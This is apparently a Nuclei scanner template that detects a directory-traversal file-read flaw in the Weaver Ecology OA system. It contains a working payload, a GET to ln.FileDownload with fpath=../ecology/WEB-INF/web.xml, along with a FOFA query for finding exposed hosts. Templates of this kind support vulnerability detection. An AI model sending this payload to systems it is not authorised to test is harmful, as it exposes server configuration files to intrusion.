id: ecology-filedownload-directory-traversal

info:
  name: Ecology - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body

# digest: 490a0046304402204f5329ea96cfbadaa6905a9a0d4c8ff638c012f9f6a14f1bd3a8439db6a36272022051928f70c5a699a766b96ac4e22ee8a7f5dab46e69f230d3eed2ea3735f955c6:922c64590222798bb761d5b6d8e72950
